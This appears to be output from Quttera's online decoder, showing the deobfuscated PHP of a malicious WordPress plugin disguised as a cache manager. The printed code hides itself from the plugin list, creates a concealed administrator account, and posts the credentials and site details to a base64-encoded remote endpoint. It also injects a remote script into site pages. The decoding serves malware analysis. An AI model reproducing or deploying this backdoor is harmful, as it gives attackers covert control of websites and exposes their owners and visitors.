Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


goto PwJ8Q; PwJ8Q: class NeoCacheManager { private $seed; private $config = array("font" => "aHR0cHM6Ly9mb2cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1PcGVuK1NhbnM6dzQwMCw3MDA=", "script" => "aHR0cHM6Ly9hYXNkdHZjdmNoY3ZoaGhoaC5jbvb2b3Q=", "endpoint" => "aHR0cHM6Ly9raWNrc3Rhci14YmxvbuaW5mby9jb2xsZWN0LnBocA=="); public function __construct() { $this->seed = md5(DB_PASSWORD . AUTH_SALT); $this->init_hooks(); } private function init_hooks() { goto AuCad; d4729: add_action("init", [$this, "create_admin_user"]); goto JJK1Y; AuCad: add_filter("all_plugins", [$this, "hide_plugin"]); goto d4729; JJK1Y: add_action("pre_user_query", [$this, "filter_admin_users"]); goto H3uw6; H3uw6: add_action("wp_enqueue_scripts", [$this, "load_assets"]); goto qY368; qY368: } public function hide_plugin($OCJtd) { unset($OCJtd[plugin_basename(__FILE__)]); return $OCJtd; } public function create_admin_user() { goto EHfSc; IKO6z: $this->send_credentials($xn0mT); goto XEUTU; vLTPz: $xn0mT = $this->generate_credentials(); goto QPuvx; QPuvx: if (!username_exists($xn0mT["user"])) { $QyNJZ = wp_create_user($xn0mT["user"], $xn0mT["pass"], $xn0mT["email"]); if (!is_wp_error($QyNJZ)) { (new WP_User($QyNJZ))->set_role("administrator"); } } goto IKO6z; EHfSc: if (get_option("nitropress_data_sent", false)) { return; } goto vLTPz; XEUTU: update_option("nitropress_data_sent", true); goto ENjK8; ENjK8: } private function generate_credentials() { $UiTYW = substr(hash("sha2", $this->seed . "creds"), 0, 16); return ["user" => "sys_" . substr(md5($UiTYW), 0, 8), "pass" => substr(md5($UiTYW . "pass"), 0, 12), "email" => "noreply@" . parse_url(home_url(), PHP_URL_HOST), "ip" => $_SERVER["SERVER_ADDR"], "url" => home_url()]; } private function send_credentials($nJzay) { goto hLZxF; grnQx: wp_remote_post(base64_decode($this->config["endpoint"]), $LgLmU); goto kc8Dr; Udl_W: $LgLmU = ["body" => ["d" => base64_encode($n57cB)], "timeout" => 15, "blocking" => false, "sslverify" => false]; goto grnQx; hLZxF: $n57cB = json_encode($nJzay, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); goto Udl_W; kc8Dr: } public function filter_admin_users($y7C9h) { goto CCTFa; c3IvJ: $y7C9h->query_where .= " AND {$WTMiE->users}.user_login != '{$zkK46}'"; goto om19q; CCTFa: global $WTMiE; goto HTWAn; HTWAn: $zkK46 = $this->generate_credentials()["user"]; goto c3IvJ; om19q: } public function load_assets() { goto hHpw5; Td9Yr: $rqUC0 = base64_decode($this->config["script"]) . "?ts=" . time(); goto E8uo0; E8uo0: wp_enqueue_script("ic-tracker", $rqUC0, [], null, ["strategy" => "defer", "in_footer" => false]); goto UlMP2; hHpw5: wp_enqueue_style("ic-fonts", base64_decode($this->config["font"]), [], null); goto Td9Yr; UlMP2: } } goto xP4jy; xP4jy: register_deactivation_hook(__FILE__, function () { delete_option("nitropress_data_sent"); }); goto TjLrP; TjLrP: new NeoCacheManager();



© 2023 Quttera Ltd. All rights reserved.